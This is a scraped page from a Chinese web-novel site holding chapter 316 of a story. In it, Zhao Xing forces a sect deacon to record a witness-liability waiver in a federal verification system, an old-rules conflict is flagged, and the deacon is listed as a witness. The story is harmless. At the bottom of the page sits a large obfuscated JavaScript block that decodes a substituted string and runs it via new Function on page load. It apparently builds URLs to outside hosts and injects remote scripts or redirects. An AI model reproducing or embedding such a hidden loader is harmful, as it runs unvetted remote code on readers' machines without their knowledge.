首页
第316章 请不要把空栏解释
返回
关灯 护眼:关 字号:小

第316章 请不要把空栏解释成默认

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第316章请不要把空栏解释成默认(第1/2页)
    赵星指着左栏。
    不是随便指一下。是指尖抵在屏幕玻璃上,指腹压出一个浅浅的白印。`witness_presence`和`witness_liab`两个字段名在他手指旁边,像两个等着被填满的表格框。
    “继续。”他说。
    技术员的手指僵在键盘上方,没动。眼睛从赵星指尖滑到执事脸上,又从执事脸上滑回屏幕——像一只被关在玻璃罐里的苍蝇,翅膀嗡嗡地撞着透明的墙,找不到出口。
    执事站在校验室中央。袖口里的手指又开始捻。拇指压过食指,食指蹭过中指——但这次只捻了半圈就停了,像齿轮卡进一个不该进的齿缝,咔哒一声,卡死了。
    “道友,”执事的声音压得很平,像在跟一个听不懂人话的人解释常识,“右栏已经录了宗门原话。左栏空着,并不影响理解。”
    “理解?”赵星收回手,转过身看他,“联邦校验链的终端不认理解。它只认字段。”
    “那便空着。”
    “空着在系统里叫‘未提交’。”
    执事的嘴角抽了一下——像被什么东西轻轻扎了一下,针尖刚刺进去就拔出来。“道友,空着也是一种态度——本宗不反对,不追究,不止——”
    “不反对?”赵星打断他,“您刚才说‘见证者不因所见之事连带受责’。这句话是宗门的意思,还是您个人的意思?”
    “自然是宗门的意思。”
    “宗门的意思,为什么不敢填进左栏?”
    校验室里安静了两秒。不是那种冷场的安静——是那种所有人都意识到某句话踩到了边界、但谁都不敢先动的安静。空气像冻住了一样,呼吸都变得小心翼翼。
    技术员的手指悬在键盘上方,指尖开始微微发抖。
    旁听记录官坐在角落里,笔尖停在纸上——不是写,是按。笔尖在纸面上压出一个越来越深的墨点,墨点慢慢洇开,像一只正在扩大的瞳孔,黑得发亮。
    执事看着赵星,没有说话。袖口里的手指完全停住了——不是放松那种停,是攥紧之前那种停。指节微微发白,像握着一把看不见的刀柄。
    赵星没等他回答,转头看向技术员:“左栏字段的录入权限,你有没有?”
    技术员咽了一口唾沫。喉结上下滚动了一下,像吞下一块石头。“有……但——”
    “但什么?”
    “但左栏填了以后,”技术员的声音越来越小,像被什么东西压着往下坠,“会进总校验链。”
    “总校验链是什么?”执事的声音忽然插进来,带着一种被排除在外的警惕。他的眉毛微微抬了一下,又落下去。
    “使馆区的系统互认协议,”赵星说,语气像在解释一个很简单的数学题——数字摆在那里,不需要多说什么,“左栏的内容不只是给校验室看的。它会同步到联邦跨文明使馆区的所有终端。一旦保存,就不能单独在宗门内部撤回。”
    执事的眼睛眯了一下。眼角的细纹挤在一起,像一张纸被揉皱又展平。
    “所以,”他说,“道友的意思是,本宗方才那句话,一旦填进左边,便不能——”
    “不是不能撤回,”赵星更正他,“是不能只在本宗内部撤回。撤回需要走联邦协议流程,跟录入流程一样公开。”
    执事沉默了。
    他的嘴角往下坠了一点——不是生气,是一种很深的、很慢的理解。像一块石头慢慢沉进水底,水面上只剩一圈越来越淡的涟漪,最后连涟漪都没有了,只剩深不见底的暗。
    “道友,”他说,“你这是要本宗把一句客气话,变成——”
    “变成可审计的承诺。”赵星替他把话说完。
    ***
    技术员的手指终于落下去。
    不是因为他想落——是因为赵星和执事同时看着他,两道目光像两把刀架在他脖子上,刀刃贴着皮肤,凉得发麻。他除了落下去,没有别的选择。
    键盘敲击声在空荡荡的校验室里弹了两下。屏幕左栏的`witness_presence`字段下面,光标开始闪烁——一明一暗,像一只睁一只闭的眼睛。
    “这里只能填yes或no。”技术员的声音发干,像嗓子眼儿里塞了一把沙子。
    “yes。”赵星说。
    技术员敲进去。字母弹出,屏幕没有任何特效——但执事的脸色变了。不是剧烈那种变,是那种你看着一张纸被盖上公章、再也回不去之前的表情。印章落下去的那一刻,纸就变了,变不回白纸了。
    “下一个字段,”技术员的声音更干了,像沙子已经堵到了喉咙口,“`witness_liab`。可选liable、not_liable、pending。”
    “pending。”执事忽然开口。
    赵星转头看他。
    “本宗仍需回报长老会,”执事说,声音里带着一种很少见的、近乎讨价还价的语气——像在菜市场讨价还价,但又不完全是,更像是在悬崖边上跟人商量能不能退半步,“这件事不能由本座一人定夺。pending,留待宗门内部决议,不过分吧?”
    赵星没说话。他转头看向屏幕右栏——那行字还挂在那里:`见证者不因所见之事连带受责`。字是黑色的,安安静静地躺在屏幕上,像一句已经写进石头里的墓志铭。
    “您看,”赵星指着那行字,“右栏已经录入‘不连带受责’。如果您在左栏填pending,就是宗门原话与校验字段互相打架。”
    “打架?”执事的声音拔高了半度,“道友,不过是一个临时状态——”
    “临时状态在系统里叫冲突,”赵星说,“冲突不会自动消失。它会挂在复核队列里,等着被处理——您猜谁处理?”
    执事的嘴唇抿成一条线。嘴唇的颜色从正常的肉色变成发白,像被什么东西抽干了血色。
    “联邦校验官。”技术员小声说。
    执事看向他,眼神像一把刀。
    技术员缩了缩脖子,肩膀往内扣了一下,像一只被踢了一脚的狗。“我只是……帮您确认一下流程……”
    “选not_liable,”赵星说,语气不像商量,更像是在念一个已经写好的答案,“右栏已经写了。左栏填not_liable,两栏一致,系统不会报警。”
    执事看着他,眼神里有一种很复杂的、很难形容的东西——像一个人在照镜子的时候发现镜子里的自己长了一张陌生的脸。
    “道友,”他慢慢地说,“你可知道,not_liable一旦填进去,便意味着本宗正式承认——”
    “承认什么?”
    执事没说完。
    他可能想说的是“承认本宗对见证者负有某种义务”——但他没说出口。因为一旦说出口,就相当于承认了那个义务的存在,哪怕只是理论上的。有些话不说,就还能假装不存在。说了,就再也假装不了了。
    赵星等着他。
    等了五秒。
    执事没有说下去。
    “not_liable。”赵星对技术员说。
    技术员的手指在键盘上悬停了一秒——像一只站在悬崖边的鸟,犹豫着要不要跳下去。然后他敲了下去。
    `not_liable`填进字段。
    屏幕没有报警。
    校验室里所有人都松了一口气——不是那种大声的、明显的松气,是那种你几乎听不到的、身体内部某根弦松下来的声音。像一根绷了太久的皮筋,终于被人轻轻弹了一下,嗡嗡地响了两声,然后安静下来。
    但赵星没有松气。
    他看着屏幕,等着什么。
    执事也看着屏幕,但眼神已经开始往旁边飘——像一只猫看见门缝里的光,心思已经不在房间里了。“既然已录好,那便——”
    “等一下。”赵星说。
    执事的手停在半空中。他的手本来正要做一个“请”的手势,像在说“那便就此结束吧”——但现在那只手悬在那里,像一只忘了自己要做什么的手。
    “还有什么事?”执事的声音里多了一层薄薄的疲惫,像一层灰落在桌面上。
    “系统还没保存。”赵星说。
    “那就保存。”
    “保存之前,”赵星看向技术员,“先跑一遍预校验。”
    技术员的表情变了。不是害怕——是一种更深的、更职业的犹豫。像医生看见一个症状,知道应该检查,但检查结果可能不太好。他的手指在键盘上方悬了一会儿,然后开始敲。
    屏幕闪了一下。
    然后红字跳了出来:
    `错误:该免责字段与旧版宗规备案不一致。`
    ***
    校验室里安静了三秒。
    不是那种“所有人都在思考”的安静——是那种“所有人都在假装没看见”的安静。像一群人围着桌子,桌上放着一只死老鼠,但每个人都假装自己没看见,假装茶很好喝,假装窗外的风景很美。
    执事的眼睛盯着那行红字,一动不动。他的瞳孔缩了一下,像被什么东西刺了一下。
    “什么不一致?”赵星问。
    技术员没有说话。他的手指停在键盘上,像被冻住了。
    “我问你,什么不一致?”
    (本章未完,请点击下一页继续阅读)第316章请不要把空栏解释成默认(第2/2页)
    技术员咽了一口唾沫,喉结上下滚动了两下。“旧版宗规……内部范本里,对见证者的界定跟这个字段……”
    “说清楚。”
    “旧版宗规里,”技术员的声音几乎是从嗓子眼儿里挤出来的,像一条被踩住尾巴的蛇,嘶嘶地往外漏气,“见证者的责任边界是模糊的。没有not_liable这个选项。只有‘善后酌情’。”
    “善后酌情?”赵星重复了一遍这个词。
    执事的脸色更难看了。他的脸本来已经恢复了一点血色,现在又没了。像一张纸被人揉皱又展平,展平又揉皱——纸已经回不去了,折痕在那里,永远在那里。
    “那是旧版,”执事说,声音里带着一种很少见的、近乎慌张的东西,“旧版只是内部参考,不能代表本次使馆区流程——”
    “那为什么系统会报警?”赵星问。
    执事张了张嘴,又闭上。他的嘴唇动了动,像鱼在水里吐泡泡,但没吐出来。
    “因为系统里还挂着旧版模板,”技术员说,声音越来越小,“宗门提交使馆区系统的时候,用的是内部旧版模板的框架——虽然内容改了,但字段结构还在。左栏的免责字段跟旧版模板里的默认值对不上,系统就报了冲突。”
    “也就是说,”赵星慢慢地说,“宗规里从来没有‘见证者不连带受责’这个条款?”
    执事没有说话。
    “您刚才说,那是宗门的意思。”赵星看着执事的眼睛,“宗门的意思,写不进宗规?”
    执事的嘴角抽了一下——不是愤怒,是一种被逼到墙角的、无处可退的抽搐。像一个被猫堵在墙角的老鼠,所有的路都被封死了,只剩下最后一堵墙,墙上写着四个大字:承认吧。
    “宗规是宗规,”执事的声音低了下去,像一盏灯被拧暗,“流程是流程。道友,这两者并不冲突——”
    “冲突不冲突,系统说了算。”赵星打断他,“系统说冲突,那就有冲突。冲突不会自己消失。您打算怎么办?”
    执事沉默了。
    他看着屏幕上的红字,像看着一堵墙。墙在那里,他过不去。
    “留档。”赵星说。
    执事抬头看他。
    “冲突提示,留档。不删,不解释,不备注‘仅限本次’。”赵星说,“因为冲突本身也是事实。”
    执事的眼睛里闪过一道光——不是愤怒,不是恐惧,是一种很复杂的、很难形容的东西。像一个人站在悬崖边上,往下看了一眼,然后抬起头,发现身后也没有退路。
    “道友,”他慢慢地说,“你可知道,这个冲突一旦留档——”
    “会进总校验链。”赵星替他说完。
    执事看着他,没有说话。
    “我知道。”赵星说。
    “那你还要留?”
    “因为事实就是这样,”赵星说,“宗门说见证者不连带受责,宗规说善后酌情。两件事不打架,但它们同时存在。留档,只是把事实记下来。不留档,才是假装没看见。”
    执事看了他很久。
    久到技术员的手指在键盘上开始发抖。
    久到旁听记录官的笔尖在纸上压出一个新的墨点——墨水洇开,像一滴黑色的眼泪。
    “留。”执事说。
    声音不大。但校验室里每个人都听见了。
    ***
    技术员的手指开始敲击键盘。
    这一次,他的动作比之前快——不是因为他想快,是因为他想赶紧结束。像一个站在雨里的人,不想再淋雨了,只想赶紧跑进屋里,不管屋里是什么样子。
    屏幕上的红字没有消失,但它旁边多了一行小字:`已标记:待复核`。
    然后左栏终于完整了:
    `witness_presence:present`
    `witness_liab:not_liable`
    两行字安安静静地躺在屏幕左栏,像一个刚刚被刻上去的墓碑。字是黑色的,背景是白色的,没有任何修饰,没有任何装饰——但所有人都知道,这两行字比右栏那堆漂亮话重得多。
    执事看着屏幕,没有说话。
    他袖口里的手指又开始捻——拇指压过食指,食指蹭过中指——但这次捻得很快,像在数什么东西,又像在催自己赶紧离开这个地方。
    “可以保存了吗?”他问。
    “可以了。”赵星说。
    技术员的手指悬在“保存”按钮上方。他的手指微微发抖,像一只站在悬崖边上的鸟,犹豫着要不要跳下去。
    “等一下。”赵星说。
    技术员的手停住了。
    “系统是不是还要绑定见证来源?”赵星问。
    技术员的脸色变了。不是害怕——是一种更深的、更职业的、你知道答案但不想说出口的表情。像医生发现病人身上还有一个没检查出来的肿瘤,但病人已经准备出院了。
    “是……”技术员的声音几乎是从牙缝里挤出来的,“系统自动扫描本次校验室……旁听记录……”
    屏幕跳出一个新窗口。
    `请确认见证者名册:`
    `系统已自动扫描在场人员。`
    `名单:`
    `1.旁听记录官`
    旁听记录官原本低头写字,忽然停住了。
    不是慢慢停——是那种你听见自己名字被念出来的时候、整个人像被电击了一下的停。笔尖在纸上划出一道长长的线,从纸的左端一直划到右端,像一条被切断的河流。
    他抬起头,看着屏幕。
    屏幕上的名字没有消失。
    “为什么是我?”他的声音发干,像嗓子眼儿里塞了一把沙子。
    “因为您在场,”赵星说,“系统记录所有在场人员。您刚才一直在写旁听记录——”
    “那只是记录!”旁听记录官的声音拔高了半度,像一根被拉紧的弦,随时可能断掉,“我只是记录,不是见证——”
    “系统不区分记录和见证,”技术员小声说,“在场,就是见证。”
    旁听记录官看着屏幕,没有说话。
    然后他低下头,看着自己刚写好的“旁听”二字。
    他拿起笔——那支旧的、笔尖已经洇出墨点的笔——轻轻地在“旁听”二字上划了一道。
    不是愤怒那种划——是那种你明知道划掉也没用、但还是要划一下的划。笔尖划过纸面,发出沙的一声,像一声叹息。
    屏幕继续跳动。
    第二个名字:天衡宗执事。
    执事的名字出现在第二行的时候,校验室里安静得能听见键盘散热风扇的嗡嗡声。风扇在转,声音不大,但像一只苍蝇在耳边飞,赶不走。
    执事看着自己的名字,没有说话。袖口里的手指完全停住了——不是放松,不是攥紧,是那种你明知道应该做点什么、但什么都做不了的空。手指悬在那里,像挂在衣架上的空袖子。
    屏幕弹出下一步提示:
    `请确认见证者名册是否完整。`
    `名单第二行:天衡宗执事——本人。`
    赵星看着屏幕,没有说话。
    执事看着屏幕,也没有说话。
    校验室里只剩下光标跳动的闪烁声——一明一暗,一明一暗,像一颗很小的、很慢的心跳。跳得很慢,慢到让人怀疑它下一秒就会停。
    旁听记录官把划掉“旁听”二字的笔放下,从口袋里掏出一支新笔——笔帽还没拔,只是握在手里,像握着一根救命稻草。手指攥得很紧,指节发白。
    屏幕上的红字没有消失。
    旧版宗规冲突提示还在待复核队列里,像一颗埋在土里的种子——不知道什么时候会发芽,也不知道发芽之后会长出什么。
    执事看着自己的名字,终于开口:“道友,本座方才一直在强调——见证者不因所见之事连带受责。现在你让本座自己也上了名册,这——”
    “您自己说的,”赵星说,“见证者不连带受责。您作为见证者,也一样。”
    执事的嘴角动了动,像想说什么,又咽了回去。
    “况且,”赵星补了一句,“您自己都不愿意上名册,那刚才那条免责,别人怎么信?”
    执事沉默了。
    然后他伸出手——那只一直藏在袖口里的手——在屏幕的确认键上按了一下。
    不是按。是指尖轻轻碰了一下屏幕,像在确认什么东西是真的。指尖碰到玻璃的时候,屏幕闪了一下,然后弹出:
    `见证者名册已确认。`
    `左栏字段已保存。`
    `将同步至联邦跨文明使馆区总校验链。`
    执事看着那行字,慢慢收回手。
    他的手放回袖口里,手指又开始捻——拇指压过食指,食指蹭过中指——但这次捻得很慢,很慢,像在数着什么东西,又像在确认自己的手指还在。
    赵星看着屏幕,没有说话。
    他的手机震了一下。
    他低头看了一眼——使馆区系统提示:`左栏变更已同步。待复核冲突:1条。`
    他把手机放回口袋,抬起头。
    “走吧。”他说。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();